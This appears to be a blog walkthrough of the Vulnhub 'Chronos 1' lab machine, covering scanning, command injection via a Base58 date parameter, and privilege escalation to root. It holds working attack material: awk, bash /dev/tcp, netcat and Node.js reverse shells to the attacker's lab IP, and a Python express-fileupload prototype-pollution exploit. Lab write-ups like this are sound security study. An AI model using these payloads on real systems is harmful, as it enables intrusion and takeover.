Vulnhub Chronos 1

I'm getting sick of the slow VPN speeds of Tryhackme, even if there's a larger community there I just enjoy running the machines on my own network so much more. So, back to Vulnhub I go for a little while! This is currently the newest box on the site being released a few days ago - Let's go!

TLDR: Walk Through=

Enumeration

Set TARGET:

export TARGET=10.10.10.4

Discover services:

 rustscan -a $TARGET -- -A -sC
...
Open 10.10.10.8:22
Open 10.10.10.8:80
Open 10.10.10.8:8000
...

Web Service Inspection

Inspect index of port 80:

curl $TARGET
<!DOCTYPE html>
<meta charset="UTF-8">
<html>
<head>
  <link rel="stylesheet" href="css/style.css">
</head>
<body onload="loadDoc()">
  <div id="wrapper">
    <div class="future-cop">
      <h3 class="future">Chronos - Date & Time</h3>
      <h1 class="cop">
        <p id="date"></p>
      </h1>
    </div>
  </div>
  <script>
    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
  </script>
</body>

The request being issued is http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL. If you try to send the same request, you get permission denied. Notice there's a console error in your browser: it's trying to set User-Agent: 4 _0x5bdf contains a list of arguments that gets used through their script, one of those must be the correct User-Agent. So, we try setting our User-Agent with curl until we discover the correct value is Chronos:

curl http://10.10.10.8:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL -H "User-Agent: Chronos"   
Today is Thursday, August 12, 2021 22:12:24.

Command Injection RCE

We need to modify the payload to find Command Injection and get an RCE vector. First, we begin playing with the URL parameter and produce an error:

$ curl http://10.10.10.8:8000/date?format=%27 
...
<pre>Error: Non-base58 character ...

Now we know the payload is Base58. Decoding the original payload we see it's simply a date format:

'+Today is %A, %B %d, %Y %H:%M:%S.'

If we supply the same arguement to the date binary on our linux system, we get the same output as the API:

$ date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is Thursday, August 12, 2021 18:26:39.

This is our tip-off that this API is likely using exec to run date, providing us with a command injection vector. While playing with the command injection, you'll notice some commands cause server crash. We can get arbitrary read with this payload, dumping the source code for the API:

'+Today is %A, %B %d, %Y %H:%M:%S.';cat app.js -> 5H77UDUtonCv1VbB617Za6BYECmuPVgQ9G7gWGjmswYscbm9phawFciBx1mTEgz
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
    res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{
        res.send("Permission Denied");
    }
})
app.listen(port,() => {
    console.log(`Server running at ${port}`);
})

Notice the list of commands we cannot use. Knowing this information, we can craft a reverse shell payload. I chose to use awk:

'+Today is %A, %B %d, %Y %H:%M:%S.';awk 'BEGIN {s = "/inet/tcp/0/10.10.10.4/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Converted:

27i9HJzgZ7d8GVxDqJ3Gn11AcPSJ3665Tf4gaGtnAj8cyN8R5RvTSy286sWdjXaMzicQMmYAGFoJAnrCke3BmnAfnhprp2d5nKuRNKbVZ8vkJpC67EifNSnWYGy7Y9D6R6zMPpo7zifYCkpvryxbiCcjMCU7paWCG3PukGcbZg9jyvnP5sAMW81kAFeeNEdEGGnpsmXD4RKUykiQQTCKDgvu9Jqso46XbuuMNEU3gQfarFqHFHUrEdqTsGYiu4uQ6ej2BC2R6ux8Ln5NuBp2gJ7sj2ib8MumWPq1eeV1hAvx6nampd5j87LskgeD2NcGmNHCD22Fs9u

Executing, we get a shell at our listener:

$ sudo nc -nvlp 4444
sudo: unable to resolve host kali: Temporary failure in name resolution
listening on [any] 4444 ...
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.8] 45379
shell>id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell>

www-data Privilege Escalation

Notice there's a process running as user imera:

  • Process: imera 824 0.0 2.9 598840 38384 ? Ssl Aug13 0:00 /usr/local/bin/node /opt/chronos-v2/backend/server.js We can read the running file:
//shell>cat /opt/chronos-v2/backend/server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
   res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
})
<!--shell>curl localhost:8080-->
<!DOCTYPE html>
<html>
    <head>
        <title>Chronos - Version 2</title>
    </head>
    <body>
        <h1>Coming Soon...</h1>
    </body>
</html>

Looking at documentation for express-fileupload the first note is that there's a vulnerability if parseNested is enabled for the module, which in this case it is! Looking up a POC for the vulnerability they provide an example with the caviat that ejs template engine is being used. We can confirm this is the case by looking in /opt/chronos-v2/frontend/pages and seeing .ejs files. We can then execute their example after making some modifications:

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/10.10.10.4/5555 0>&1"'
# pollute
requests.post('http://localhost:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://localhost:8080')

I write the script on my attacking machine, and host the file with python3 -m http.server 8081. I then download it to the target, start a listener on my attacking machine and execute:

shell>wget 10.10.10.4:8081/exploit.py
shell>python3 exploit.py
# My attacking machine...
 nc -nvlp 5555              
listening on [any] 5555 ...
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.8] 51970
bash: cannot set terminal process group (824): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$ id
id
uid=1000(imera) gid=1000(imera) groups=1000(imera),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
imera@chronos:/opt/chronos-v2/backend$

imera Privilege Escalation

The PE vector here is trivial, notice that we can execute node as sudo without a password:

imera@chronos:/opt/chronos-v2/backend$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User imera may run the following commands on chronos:
    (ALL) NOPASSWD: /usr/local/bin/npm *
    (ALL) NOPASSWD: /usr/local/bin/node *

We can then copy a node reverse shell from our cheatsheet and get root!

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(6666, "10.10.10.4", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
imera@chronos:/tmp$ sudo node shell.js
sudo node shell.js
# Attacking machine
$ nc -nvlp 6666
listening on [any] 6666 ...
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.8] 49132
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt | base64 --decode
apopse siopi mazeuoume oneira

GG! 5

Write Up

Enumeration

Find Host IP

$ nmap 10.10.10.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-12 16:16 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.4
Host is up (0.00023s latency).
All 1000 scanned ports on 10.10.10.4 are closed
Nmap scan report for 10.10.10.8
Host is up (0.00017s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.67 seconds

Rustscan

$ rustscan -a 10.10.10.8 -- -A -sC
Open 10.10.10.8:22
Open 10.10.10.8:80
Open 10.10.10.8:8000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:f2:83:a4:38:89:8d:86:a5:e1:31:76:eb:9d:5f:ea (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFF8YjHtqC35Tv6qgLJ0kNRdjbf30IJ3vKLgvfu9i0tKcx3+TpxYz91j2DXQazjyUpfbIV+fQJb5uyl1iaXHcuvLcQ/wx2WzqzYCmvwM0UzChbwlIUxBpCgfx8wRYNJSwGbgPRoHnXLFquLf47q5nugN87esyyMM0UIaMYo3rNspZtB8QsdzZD2m5RqqI45ab8ByrQZbp8PP7XxTUXWT1ulcAABUbWnRR6VJDL72IQy3G8gpDoU95p4feodti3EA97jwbuNq9G+XeLK2BX4Y5SLpqgYazTWw8scw71hPea4r2YvtJNv6aQJBjMTzDfUm1CQ7pc1qN1T+1vujcyzO7J
|   256 41:5a:21:c4:58:f2:2b:e4:8a:2f:31:73:ce:fd:37:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO/PvsX6OqdIiLIzv+JlEolWwqi2s/gnJGADk2W0miSvnZNH2CZ/MAz6qxC4tRLsQl1eI2i43+Wd3tw6pyNvmSg=
|   256 9b:34:28:c2:b9:33:4b:37:d5:01:30:6f:87:c4:6b:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGOQB+a1NPS+fokbiT0hLgpNOYdGG/5+ZVsOoCCn0TyO
80/tcp   open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8000/tcp open  http    syn-ack Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nikto

$ nikto --host 10.10.10.8 --port 80  
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.8
+ Target Hostname:    10.10.10.8
+ Target Port:        80
+ Start Time:         2021-08-12 16:21:37 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 75f, size: 5c8b69b1672af, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD 
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2021-08-12 16:22:19 (GMT-4) (42 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
$ nikto --host 10.10.10.8 --port 8000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.8
+ Target Hostname:    10.10.10.8
+ Target Port:        8000
+ Start Time:         2021-08-12 16:21:42 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ Retrieved access-control-allow-origin header: *
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: 
+ Scan terminated:  0 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-08-12 16:21:52 (GMT-4) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Dirb

dirb http://10.10.10.8 /usr/share/wordlists/SecLists/Discovery/Web-Content/apache.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Thu Aug 12 16:25:57 2021
URL_BASE: http://10.10.10.8/
WORDLIST_FILES: /usr/share/wordlists/SecLists/Discovery/Web-Content/apache.txt
-----------------
GENERATED WORDS: 33               
---- Scanning URL: http://10.10.10.8/ ----
+ http://10.10.10.8/index.html (CODE:200|SIZE:1887)                                    
+ http://10.10.10.8/server-status (CODE:403|SIZE:275)                                  
       
-----------------
END_TIME: Thu Aug 12 16:25:57 2021
DOWNLOADED: 33 - FOUND: 2
$ dirb http://10.10.10.8:8000 /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Thu Aug 12 16:27:13 2021
URL_BASE: http://10.10.10.8:8000/
WORDLIST_FILES: /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt
-----------------
GENERATED WORDS: 268                     
---- Scanning URL: http://10.10.10.8:8000/ ----
      
-----------------
END_TIME: Thu Aug 12 16:27:13 2021
DOWNLOADED: 268 - FOUND: 0

Manual Discovery

Checking out index of port 80:

curl 10.10.10.8
<!DOCTYPE html>
<meta charset="UTF-8">
<html>
<head>
  <link rel="stylesheet" href="css/style.css">
</head>
<body onload="loadDoc()">
  <div id="wrapper">
    <div class="future-cop">
      <h3 class="future">Chronos - Date & Time</h3>
      <h1 class="cop">
        <p id="date"></p>
      </h1>
    </div>
  </div>
  <script>
    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
  </script>
</body>

Okay so, as I suspected port 8000 is a backend service. The script here looks quite cryptic, perhaps obfuscated intentionally. At first glance, it doesn't look like it's doing anything potentially harmful. Let's try to decompose it a little before I actually open this in a browser... First I just try to add newlines and indentation so it's easier to read.

 var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];
 
 (
        function(_0x506b95,_0x817e36){
            var _0x244260=_0x432d;
            while(!![]){
                try{
                    var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));
                    if(_0x35824b===_0x817e36)
                        break;
                    else 
                        _0x506b95['push'](_0x506b95['shift']());
                } catch (_0x3fb1dc) {
                    _0x506b95['push'](_0x506b95['shift']());
                }
            }
        }(_0x5bdf,0xcaf1e));
        
        function _0x432d(_0x16bd66,_0x33ffa9){
            return _0x432d=function(_0x5bdf82,_0x432dc8){
                    _0x5bdf82=_0x5bdf82-0x7e;
                    var _0x4da6e8=_0x5bdf[_0x5bdf82];
                    return _0x4da6e8;
                },_0x432d(_0x16bd66,_0x33ffa9);}
        function loadDoc(){
            var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();
            _0x2beb35[_0x17df92(0x89)]=function(){
                var _0x146f5d=_0x17df92;
                this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);
            },_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();
        }

Then, Replacing the variable names may help us read it easier:

 var ARGUMENT_BUFFER=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];
 
 (
        function(argA,argB){
            while(!![]){
                try{
                    var Result=-parseInt(ARG_LOOKUP(0x7e))*parseInt(ARG_LOOKUP(0x90))+parseInt(ARG_LOOKUP(0x8e))+parseInt(ARG_LOOKUP(0x7f))*parseInt(ARG_LOOKUP(0x83))+-parseInt(ARG_LOOKUP(0x87))+-parseInt(ARG_LOOKUP(0x82))*parseInt(ARG_LOOKUP(0x8d))+-parseInt(ARG_LOOKUP(0x88))+parseInt(ARG_LOOKUP(0x80))*parseInt(ARG_LOOKUP(0x84));
                    if(Result===argB)
                        break;
                    else 
                        argA['push'](argA['shift']());
                } catch (_0x3fb1dc) {
                    argA['push'](argA['shift']());
                }
            }
        }(ARGUMENT_BUFFER,0xcaf1e));
        
        function ARG_LOOKUP(argA,argB){
            return ARG_LOOKUP=function(argC,_0x432dc8){
                  argC=argC-0x7e;
                   return ARGUMENT_BUFFER[argC];
            },ARG_LOOKUP(argA,argB);
        }
        function loadDoc(){
            var result=ARG_LOOKUP(0x8f);
            var request = new XMLHttpRequest();
            request[ARG_LOOKUP(0x89)]=function(){
                this[ARG_LOOKUP(0x85)]==0x4&&this[ARG_LOOKUP(0x8c)]==0xc8&&(document[ARG_LOOKUP(0x91)](ARG_LOOKUP(0x93))[ARG_LOOKUP(0x92)]=this[ARG_LOOKUP(0x86)]);
            },request[ARG_LOOKUP(0x81)]('GET',ARG_LOOKUP(0x8a),!![]),request['setRequestHeader'](ARG_LOOKUP(0x8b),result),request['send']();
        }

API Focus

Alright this is a little easier to make sense of... Just picking through, I'm interested to know what the endpoint responds with:

$ curl http://10.10.10.8:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
Permission Denied
$ curl http://10.10.10.8:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL -H "Host: chronos.local"
Permission Denied

I'm confidant that all this bit of JS is doing is making a request though, so I'm going to fire up Burp with interception on and see what it winds up doing over the wire! 1 After carefully reading the request, and letting it fly through, we get the same result as with Curl: 2 Poking at this API a little more, I managed to produce a nice error

curl http://10.10.10.8:8000/date
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError: Expected String<br> &nbsp; &nbsp;at decodeUnsafe (/opt/chronos/node_modules/base-x/src/index.js:66:45)<br> &nbsp; &nbsp;at Object.decode (/opt/chronos/node_modules/base-x/src/index.js:113:18)<br> &nbsp; &nbsp;at /opt/chronos/app.js:25:24<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/opt/chronos/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/opt/chronos/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /opt/chronos/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/opt/chronos/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/opt/chronos/node_modules/express/lib/router/index.js:275:10)</pre>
</body>
</html>

And trying to dump in a quote to look for sql injection, I got:

curl http://10.10.10.8:8000/date?format=%27
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Non-base58 character<br> &nbsp; &nbsp;at Object.decode (/opt/chronos/node_modules/base-x/src/index.js:115:11)<br> &nbsp; &nbsp;at /opt/chronos/app.js:25:24<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/opt/chronos/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/opt/chronos/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /opt/chronos/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/opt/chronos/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/opt/chronos/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at cors (/opt/chronos/node_modules/cors/lib/index.js:188:7)</pre>
</body>
</html>

Base58?! Base58 decoding the original payload from the JS script: 3 Cool, not sure how this helps quite yet. I wonder if there's a vulnerability in base58 decoding I can latch onto? I couldn't find any. What if there's a command injection vector here? Perhaps after decoding the payload, it's directly dumped into an exec command or something to check system date? How could we validate that though while we don't have API access... I could try to get it to timeout with sleep injected? But, would it actually run the command without me having API access? It certainly decodes the payload without API access... Any valid base58 string I input, I get permission denied. I tried:

  • Changing HTTP method
  • Using X-Forwarded-For
  • Using Host
  • Looking for any cookies/session data
  • A TON of wordlists looking for something
dirb http://10.10.10.8:8000 domino-endpoints-coldfusion39.txt 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Thu Aug 12 18:04:37 2021
URL_BASE: http://10.10.10.8:8000/
WORDLIST_FILES: domino-endpoints-coldfusion39.txt
-----------------
GENERATED WORDS: 475               
---- Scanning URL: http://10.10.10.8:8000/ ----
+ http://10.10.10.8:8000/?Open (CODE:200|SIZE:1887 
+ http://10.10.10.8:8000/?OpenServer (CODE:200|SIZE:1887)                             
            
-----------------
END_TIME: Thu Aug 12 18:04:38 2021
DOWNLOADED: 475 - FOUND: 2

This is fun, but really it got me excited for nothing - this will just render index for any text placed after it. But, after putting this in browser I noticed some console errors: 4 What's it trying to set User-Agent to? I could work out exactly what it is, or I could just try all the options. I know it's one of these:

['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];

So I just tried a few of the more likely ones out...

$ curl http://10.10.10.8:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL -H "User-Agent: Chronos"   
Today is Thursday, August 12, 2021 22:12:24.

There we go! Okay, so... let's hope this is doing some sort of child process and we can get a command injection here...

RCE

I think what's going on is this is running the date string straight into bash... I get the same result from my shell with their format:

$ date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is Thursday, August 12, 2021 18:26:39.
$ echo 'curl http://10.10.10.8:8000/date?format=$1 -H "User-Agent: Chronos"' > test.sh
$ chmod a+x ./test.sh
# 'invalid' -> W6b8CDu9d9q8
$ ./test.sh W6b8CDu9d9q8
Something went wrong
# 'ls' -> 21SwmG
$ ./test.sh 21SwmG
... hang
# ';ls' -> 5Riq4xv
$ ./test.sh
# 'invalid';ls -> k8vherggKHq9oAC2
$ ./test.sh k8vherggKHq9oAC2
Something went wrong
# 'invalid';sleep 10 -> 2dp5pYSQwo2LZcJ87me7jwTGK
$ ./test.sh 2dp5pYSQwo2LZcJ87me7jwTGK
# '+Today is %A, %B %d, %Y %H:%M:%S.';nc 10.10.10.4 4444 -e /bin/sh -> 4TUkUSoPLJd15QZVaFmx51QsRrFA5UGwpDVc9s7WxP8NKMkdMj5gX4Aa8hd4x8hUimrEsXcWZa3pjSbz5VqHHs5cT
$ ./test.sh 4TUkUSoPLJd15QZVaFmx51QsRrFA5UGwpDVc9s7WxP8NKMkdMj5gX4Aa8hd4x8hUimrEsXcWZa3pjSbz5VqHHs5cT
./test.sh 4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL                                                               130 ⨯
*   Trying 10.10.10.8:8000...
* connect to 10.10.10.8 port 8000 failed: Connection refused
* Failed to connect to 10.10.10.8 port 8000: Connection refused
* Closing connection 0
curl: (7) Failed to connect to 10.10.10.8 port 8000: Connection refused

I crashed it somehow, exciting! Perhaps that means it worked with a valid date operand? Let's try this:

# '+Today is %A, %B %d, %Y %H:%M:%S.';ls -> 6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMajgLA
/test.sh 6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMajgLA
*   Trying 10.10.10.8:8000...
* Connected to 10.10.10.8 (10.10.10.8) port 8000 (#0)
> GET /date?format=6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMajgLA HTTP/1.1
> Host: 10.10.10.8:8000
> Accept: */*
> User-Agent: Chronos
> 
